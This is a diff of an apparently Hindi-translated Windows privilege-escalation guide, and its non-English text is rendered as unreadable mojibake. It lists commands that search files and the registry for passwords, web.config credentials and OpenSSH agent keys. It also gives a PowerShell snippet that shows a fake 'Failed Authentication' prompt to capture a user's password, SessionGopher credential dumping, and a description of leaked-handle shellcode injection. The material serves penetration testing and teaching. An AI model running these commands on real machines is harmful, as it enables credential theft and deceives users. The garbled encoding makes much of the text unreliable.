+```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` -```powershell +```bash Get-Childitem тАУPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem тАУPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -web.config рдХреЗ рд╕рд╛рде рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрджрд╛рд╣рд░рдг: +рд╡реЗрдм.config рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдЬрд┐рд╕рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВ: ```xml @@ -1065,9 +1065,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem тАУPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдкреВрдЫреЗрдВ +### Ask for credentials -рдЖрдк рд╣рдореЗрд╢рд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЙрд╕рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ** рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╡рд╣ рдЙрдиреНрд╣реЗрдВ рдЬрд╛рдирддрд╛ рд╣реЛрдЧрд╛ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдЧреНрд░рд╛рд╣рдХ рд╕реЗ рд╕реАрдзреЗ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЗ рд▓рд┐рдП рдкреВрдЫрдирд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ **рдЦрддрд░рдирд╛рдХ** рд╣реИ): +You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1165,11 +1165,11 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ openssh рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓реЗрдВред**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Registry рд╕реЗ openssh рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓реЗрдВред**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### рдмреНрд░рд╛рдЙрдЬрд╝рд░реНрд╕ рдЗрддрд┐рд╣рд╛рд╕ -рдЖрдкрдХреЛ рдЙрди dbs рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд╣рд╛рдБ **Chrome рдпрд╛ Firefox** рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВред\ +рдЖрдкрдХреЛ рдЙрди dbs рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдЬрд╣рд╛рдБ **Chrome рдпрд╛ Firefox** рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВред\ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдЗрддрд┐рд╣рд╛рд╕, рдмреБрдХрдорд╛рд░реНрдХ рдФрд░ рдкрд╕рдВрджреАрджрд╛ рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╢рд╛рдпрдж рдХреБрдЫ **рдкрд╛рд╕рд╡рд░реНрдб** рд╡рд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдВред рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдХрд░рдг: @@ -1181,9 +1181,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL рдУрд╡рд░рд░рд╛рдЗрдЯрд┐рдВрдЧ** -**рдХрдВрдкреЛрдиреЗрдВрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЙрдбрд▓ (COM)** рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ **рдЕрдВрддрд░рд╕рдВрд╡рд╛рдж** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ COM рдШрдЯрдХ рдХреЛ **рдХреНрд▓рд╛рд╕ рдЖрдИрдбреА (CLSID)** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдкрд╣рдЪрд╛рди** рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдШрдЯрдХ рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрдВрдЯрд░рдлреЗрд╕ рдЖрдИрдбреА (IIDs) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред +**рдХрдВрдкреЛрдиреЗрдВрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЙрдбрд▓ (COM)** рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ **рдЕрдВрддрд░рд╕рдВрд╡рд╛рдж** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ COM рдШрдЯрдХ рдХреЛ **рдХреНрд▓рд╛рд╕ ID (CLSID)** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдкрд╣рдЪрд╛рди** рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдШрдЯрдХ рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрдВрдЯрд░рдлреЗрд╕ IDs (IIDs) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред -COM рдХреНрд▓рд╛рд╕ рдФрд░ рдЗрдВрдЯрд░рдлреЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** рдФрд░ **HKEY\_**_**CLASSES\_**_**ROOT\Interface** рдХреЗ рддрд╣рдд рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИрдВред рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИред +COM рд╡рд░реНрдЧ рдФрд░ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ **HKEY\CLASSES\ROOT\CLSID** рдФрд░ **HKEY\CLASSES\ROOT\Interface** рдХреЗ рддрд╣рдд рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд░рдЬрд┐рд╕реНрдЯреНрд░реА **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИред рдЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреЗ CLSIDs рдХреЗ рдЕрдВрджрд░ рдЖрдк рдмрдЪреНрдЪреЗ рдХреА рд░рдЬрд┐рд╕реНрдЯреНрд░реА **InProcServer32** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдПрдХ **DLL** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдорд╛рди рдЬрд┐рд╕реЗ **ThreadingModel** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ **Apartment** (рд╕рд┐рдВрдЧрд▓-рдереНрд░реЗрдбреЗрдб), **Free** (рдорд▓реНрдЯреА-рдереНрд░реЗрдбреЗрдб), **Both** (рд╕рд┐рдВрдЧрд▓ рдпрд╛ рдорд▓реНрдЯреА) рдпрд╛ **Neutral** (рдереНрд░реЗрдб рдиреНрдпреВрдЯреНрд░рд▓) рд╣реЛ рд╕рдХрддрд╛ рд╣реИред @@ -1197,7 +1197,7 @@ COM рдХреНрд▓рд╛рд╕ рдФрд░ рдЗрдВрдЯрд░рдлреЗрд╕ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдо com-hijacking.md {{#endref}} -### **рдлрд╛рдЗрд▓реЛрдВ рдФрд░ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬреЗрдВ** +### **рдлрд╛рдЗрд▓реЛрдВ рдФрд░ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬ** **рдлрд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ** ```bash @@ -1211,18 +1211,18 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдХреБрдВрдЬреА рдирд╛рдореЛрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ** +**рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдХреБрдВрдЬреА рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг +### Tools that search for passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **рдПрдХ msf** рдкреНрд▓рдЧрдЗрди рд╣реИ рдЬрд┐рд╕реЗ рдореИрдВрдиреЗ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╣рд░ metasploit POST рдореЙрдбреНрдпреВрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рд╣реИ рдЬреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░рддрд╛ рд╣реИ**ред\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **рдПрдХ msf** рдкреНрд▓рдЧрдЗрди рд╣реИ рдЬрд┐рд╕реЗ рдореИрдВрдиреЗ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╣рд░ metasploit POST рдореЙрдбреНрдпреВрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рд╣реИ рдЬреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░рддрд╛ рд╣реИред**\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕ рдкреГрд╖реНрда рдореЗрдВ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рд╡рд╛рд▓реЗ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рддрд╛ рд╣реИред\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) рдПрдХ рдФрд░ рд╢рд╛рдирджрд╛рд░ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдПрдХ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) рдПрдХ рдФрд░ рд╢рд╛рдирджрд╛рд░ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред рдЙрдкрдХрд░рдг [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **рд╕рддреНрд░реЛрдВ**, **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ** рдФрд░ **рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ** рдХреА рдЦреЛрдЬ рдХрд░рддрд╛ рд╣реИ рдХрдИ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдЬреЛ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рд╣реЗрдЬрддреЗ рд╣реИрдВ (PuTTY, WinSCP, FileZilla, SuperPuTTY, рдФрд░ RDP) ```bash @@ -1231,29 +1231,33 @@ Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## Leaked Handlers +## рд▓реАрдХ рд╣реБрдП рд╣реИрдВрдбрд▓ -рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬреЛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА рд╣реИ рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЦреЛрд▓рддреА рд╣реИ** (`OpenProcess()`) **рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде**ред рд╡рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рдмрдирд╛рддреА рд╣реИ** (`CreateProcess()`) **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рднреА рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддреЗ рд╣реБрдП**ред\ -рдлрд┐рд░, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рд╣реИ**, рддреЛ рдЖрдк **privileged рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦреЛрд▓реЗ рдЧрдП рд╣реИрдВрдбрд▓ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ `OpenProcess()` рдХреЗ рд╕рд╛рде рдмрдирд╛рдИ рдЧрдИ рдереА рдФрд░ **рдПрдХ shellcode рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред\ -[рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкрдврд╝реЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ**ред](leaked-handle-exploitation.md)\ -[рдЗрд╕ **рдЕрдиреНрдп рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ рдЕрдзрд┐рдХ рдкреВрд░реНрдг рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рд╕реНрддрд░реЛрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ (рдХреЗрд╡рд▓ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдирд╣реАрдВ) рдХреЗ рд╕рд╛рде рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдереНрд░реЗрдбреНрд╕ рдХреЗ рдЕрдзрд┐рдХ рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдФрд░ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)ред +рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬреЛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА рд╣реИ, рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЦреЛрд▓рддреА рд╣реИ** (`OpenProcess()`) **рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде**ред рд╡рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рдмрдирд╛рддреА рд╣реИ** (`CreateProcess()`) **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рднреА рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддреА рд╣реИ**ред\ +рдлрд┐рд░, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рд╣реИ**, рддреЛ рдЖрдк **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦреЛрд▓реЗ рдЧрдП рд╣реИрдВрдбрд▓ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ `OpenProcess()` рдХреЗ рд╕рд╛рде рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдФрд░ **рдПрдХ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред\ +[рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкрдврд╝реЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП **рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ**ред](leaked-handle-exploitation.md)\ +[рдЗрд╕ **рдЕрдиреНрдп рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ рдЕрдзрд┐рдХ рдкреВрд░реНрдг рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рд╕реНрддрд░реЛрдВ рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ (рдХреЗрд╡рд▓ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдирд╣реАрдВ) рдХреЗ рд╕рд╛рде рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдереНрд░реЗрдбреНрд╕ рдХреЗ рдЕрдзрд┐рдХ рдЦреБрд▓реЗ рд╣реИрдВрдбрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## Named Pipe Client Impersonation +## рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдиреБрдХрд░рдг -рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдЦрдВрдб, рдЬрд┐рд╕реЗ **pipes** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ рдФрд░ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред +рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдЦрдВрдб, рдЬрд┐рд╕реЗ **рдкрд╛рдЗрдк** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ рдФрд░ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -Windows рдПрдХ рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ **Named Pipes** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдЯрд╡рд░реНрдХреЛрдВ рдкрд░ рднреАред рдпрд╣ рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ/рд╕рд░реНрд╡рд░ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд╕рдорд╛рди рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рднреВрдорд┐рдХрд╛рдПрдБ **named pipe server** рдФрд░ **named pipe client** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛрддреА рд╣реИрдВред +Windows рдПрдХ рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ **Named Pipes** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдЯрд╡рд░реНрдХреЛрдВ рдкрд░ рднреАред рдпрд╣ рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ/рд╕рд░реНрд╡рд░ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд╕рдорд╛рди рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рднреВрдорд┐рдХрд╛рдПрдБ **рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рд╕рд░реНрд╡рд░** рдФрд░ **рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреНрд▓рд╛рдЗрдВрдЯ** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЧрдИ рд╣реИрдВред -рдЬрдм рдбреЗрдЯрд╛ рдПрдХ **client** рджреНрд╡рд╛рд░рд╛ рдПрдХ рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **server** рдЬрд┐рд╕рдиреЗ рдкрд╛рдЗрдк рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИ, **client** рдХреА рдкрд╣рдЪрд╛рди **рдЕрдкрдирд╛рдиреЗ** рдХреА 